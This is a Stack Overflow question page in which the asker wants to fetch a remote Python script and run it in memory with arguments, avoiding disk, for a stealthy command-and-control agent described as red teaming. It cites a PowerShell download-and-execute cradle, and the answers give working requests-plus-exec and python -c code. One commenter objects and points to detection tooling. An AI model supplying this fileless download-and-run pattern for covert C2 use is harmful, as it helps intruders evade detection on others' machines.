5

I need to load a third-party python script into memory and then execute it as as if it was on the command line, similar to how in PowerShell you can do iex(new-object net.webclient).downloadstring("http://<my ip>/myscript.ps1") then invoke it.

For example, I'd like to have my test.py on a web server then locally download and execute it in memory with command line switches, something like:

load("http://<ip>/test.py")
exec("test.py -arg1 value -arg2 value")

I appreciate this is quite naive but any help is appreciated, thanks!

m0rv4i
  • 425
  • 2
  • 8
  • 20
  • 3
    By passing it to the python interpreter. `python myscript.py`? – roganjosh Jan 11 '19 at 22:27
  • 1
    Thanks, but I mean that I already have a running python process which will be downloading and executing the script, and I don't want the test.py script to touch the disk, I just want to run it in memory? – m0rv4i Jan 11 '19 at 22:29
  • I mean in order to execute **test.py** from my python process I don't want to download it to disk and run `exec("python test.py -arg1 value -arg2 value") `, I need to achieve that without test.py being written out. If test.py does IO that's fine. – m0rv4i Jan 11 '19 at 22:34
  • I don't follow the reasoning for this requirement? I understand, in principle, what you want to do, but I can't think why – roganjosh Jan 11 '19 at 22:42
  • 1
    @roganjosh yeah, the simplest solution would be to save the file to disk and use `subprocess` to execute the file, this would handle the args etc. It's interesting to think about though... – juanpa.arrivillaga Jan 11 '19 at 22:43
  • @juanpa.arrivillaga for the OP I smell an XY problem. But I won't deny it has my mind working since I don't really ever mess with Python internals and this seems like the first part of the whole process - where text is passed to the interpreter - so it's a decent place to start :) – roganjosh Jan 11 '19 at 22:48
  • So it's for a command & control server via python, the idea being there are existing python tools that I want to execute in memory by an agent on another machine :) nice to hear it has the creative juices flowing though! – m0rv4i Jan 11 '19 at 22:51
  • 1
    @m0rv4i Two questions: 1. What is the reason that files cannot "touch" the hard drive? 2. If you have already identified a set of tools why can't you opt for a functional interface where the the input is the function's name and its arguments? – a_guest Jan 11 '19 at 23:11
  • Any kind of `execv()`-based approach is not a good tool for the job (of C&C, if you're trying to keep contents confidential). It's *easier* to read a script's text out of its argument vector than it is to read it off of disk! – Charles Duffy Jan 11 '19 at 23:12
  • @a_guest 1. as it's for a C&C server so stealth is paramount and 2. the idea is this bit be flexible to any script can just be loaded and executed by the agent. – m0rv4i Jan 11 '19 at 23:19
  • @CharlesDuffy I'm not sure what you mean by the last bit can you expand? thanks! – m0rv4i Jan 11 '19 at 23:20
  • @m0rv4i Okay but why do you need command line arguments for the scripts then? If they are single-use why not just hardcode the arguments? Or if anything use string formatting. – a_guest Jan 11 '19 at 23:25
  • OP is explicitly asking how to build a stealth command-and-control mechanism (from a prior comment: "*as it's for a C&C server so stealth is paramount*"). Questions *explicitly* seeking to build *openly* illicit software are unwelcome here; see https://meta.stackexchange.com/questions/187593/should-virus-or-illegal-activity-related-questions-code-be-allowed – Charles Duffy Jan 11 '19 at 23:34
  • @CharlesDuffy it's not openly illicit it's for red teaming, i.e. professional security services. – m0rv4i Jan 11 '19 at 23:38
  • Mmm. As a hint to your blue team: [Sysdig Falco](https://falco.org/) will catch all arguments to the `execve` syscall, including source if passed that way, even if there's an attempt to overwrite content afterwards to avoid exposure in `ps`. – Charles Duffy Jan 11 '19 at 23:43

2 Answers2

4

I would recommend you to download the script by using requests, and then execute it with exec.

Something like this :

import requests
url="https://gist.githubusercontent.com/mosbth/b274bd08aab0ed0f9521/raw/52ed0bf390384f7253a37c88c1caf55886b83902/hello.py"
r=requests.get(url)
script=r.text
exec(script)

Sources :

Why is Python's eval() rejecting this multiline string, and how can I fix it?

https://www.programiz.com/python-programming/methods/built-in/exec

http://docs.python-requests.org/en/master/


If you want to specify arguments to the downloaded script you can do this :

import requests
import sys
sys.argv = ['arg1', 'arg2']
url="https://gist.githubusercontent.com/itzwam/90cda6e05d918034e75c651448e6469e/raw/0bb293fba68b692b0a3d2b61274f5a075a13f06d/blahblah.py"
script=requests.get(url).text
exec(script)

gist:

import sys

class Example(object):
    def run(self):
        for arg in sys.argv:
            print arg
if __name__ == '__main__':
    Example().run()

Sources :

https://stackoverflow.com/a/14905087/10902809

Itz Wam
  • 41
  • 3
  • Thanks! This looks close, however if I understand correctly it's going to execute the script line by line, right? What I'm looking for is to execute it in a similar way to the command line so I can pass args and the `__main__` method gets called etc...? – m0rv4i Jan 11 '19 at 22:55
  • 1
    This will not work. This just executes the script in the current modules namespace as if it were text in that module. You want to be able to, say, pass arguments to the script, and have it act as if you did `python myscript.py` in the command line – juanpa.arrivillaga Jan 11 '19 at 22:59
  • you can easily specify arguments, but for the __main__ method, i'm not sure PS: I tried it and it seems to call \_\_main\_\_ – Itz Wam Jan 11 '19 at 23:12
  • I edited my message and added an example on how to add arguments – Itz Wam Jan 11 '19 at 23:24
  • But this requires clobbering your main script's namespace with this dynamically executed module's namespace, and hackily sharing `sys.argv`. – juanpa.arrivillaga Jan 11 '19 at 23:25
  • @juanpa.arrivillaga That shouldn't be a problem if each script performs the appropriate clean-up (such as `del`) and adheres to some name conventions so the (few) main script's names are not overwritten. – a_guest Jan 11 '19 at 23:29
  • @a_guest problem is here the scripts are going to be third party, but I'll look into it thanks! – m0rv4i Jan 11 '19 at 23:39
4

Here's a hacky way taking advantage of the -c option for the Python interpreter:

>>> import subprocess
>>> pycode = """
... import sys
... if sys.argv[1] == 'foo':
...     print('bar')
... else:
...     print('unrecognized arg')
... """
>>> result = subprocess.run(['python', '-c', pycode, 'bar'], stdout=subprocess.PIPE)
>>> print(result.stdout.decode())
unrecognized arg

>>> result = subprocess.run(['python', '-c', pycode, 'foo'], stdout=subprocess.PIPE)
>>> print(result.stdout.decode())
bar

This may come up with issues such as some platforms limiting the size of what you pass as arguments. I tried to do this using stdin, which the Python interpreter will accept, but then it won't accept arguments!

juanpa.arrivillaga
  • 88,713
  • 10
  • 131
  • 172